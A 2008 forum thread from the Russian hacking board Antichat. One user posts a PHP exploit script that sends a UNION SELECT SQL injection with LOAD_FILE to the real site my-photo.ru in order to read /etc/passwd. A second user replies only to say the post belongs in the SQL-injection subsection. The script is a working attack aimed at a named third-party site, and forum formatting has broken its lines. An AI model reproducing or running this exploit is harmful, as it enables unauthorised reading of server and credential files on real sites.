Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   My-photo.ru Local Include Imitation (https://forum.antichat.xyz/showthread.php?t=71020)

КВР 21.05.2008 14:09

My-photo.ru Local Include Imitation
 
PHP код:

<? 
 
echo "<pre>\n"
 @
set_time_limit(0); 
 @
ini_set("display_errors","0"); 
 
$hostname gethostbyname('my-photo.ru'); 
 function 
loadfile($loadfile
 { 
  global 
$hostname
  
$responce ""
  
$fsock    fsockopen($hostname,80,$errnum,$errstr,2); 
  
$headers  "GET http://my-photo.ru/index.php?k=sendem&toidca=999999+union+select+1,CONCAT(CHAR(60,115,11  3,108,105,110,106,62),LOAD_FILE('$loadfile'),CHAR(  60,47,115,113,108,105,110,106,62)) HTTP/1.1\n"
  
$headers .= "Host: my-photo.ru\n"
  
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n"
  
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n"
  
$headers .= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\n"
  
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n"
  
$headers .= "Keep-Alive: 500\n"
  
$headers .= "Connection: close\n"
  
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
  
fwrite   ($fsock,$headers); 
  while    (!
feof($fsock)) $responce .= fread($fsock,1024);  
  
fclose   ($fsock); 
 
$patern "#<[\s]*sqlinj[\s]*>([^<]*)<[\s]*/sqlinj[\s]*>#i"
 if(
preg_match($patern$responce$rez)) echo $rez[1]; else echo 'Something not right...'
//echo $responce; 

loadfile("/etc/passwd"); 
echo 
"</pre>"
?>

лишнии пробелы поубирайте там где не надо...

А®ТеS 21.05.2008 16:51

Имитация локального инклюда... мм..
В "Уязвимостях" есть раздел "SQL-injection", скорее материал относится туда. Не надо путать local include и скулю с file_priv.


Время: 11:09